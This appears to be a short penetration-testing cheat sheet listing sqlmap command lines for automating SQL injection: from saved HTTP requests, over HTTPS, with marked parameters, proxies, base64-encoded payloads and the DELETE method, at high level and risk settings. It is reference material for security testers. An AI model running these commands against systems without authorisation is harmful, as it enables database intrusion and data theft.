Automate SQL Injections



From Request - HTTP:80

sqlmap -r http.request -p param1 --level=5 --risk=3 --proxy= 

From Request - HTTPS:443

sqlmap -r http.request --force-ssl -p param1 --level=5 --risk=3 --proxy= 

or the http.request file needs to have special HTTP header Host: server:443

URL target & Parameters

sqlmap -u http://domain?id=1 -p id

You can read HTTP request from a file.

sqlmap -r ./sql.req

# where sql.req is HTTP request, use * for parameter injection
# for example
GET /path/to/username*

HTTP Proxy

sqlmap --proxy= 


The most common DBMSs the remaining ones look at sqlmap wiki --dbms.


Base64 Encoding

By default sqlmap encode values in query string by URL encoding. When you need to encode payload using base64 encoding use the following switch with a parameter name

sqlmap -u domain?p1=value --base64=p1

HTTP method - DELETE

sqlmap --method=DELETE -u http://domain -p param1

Last updated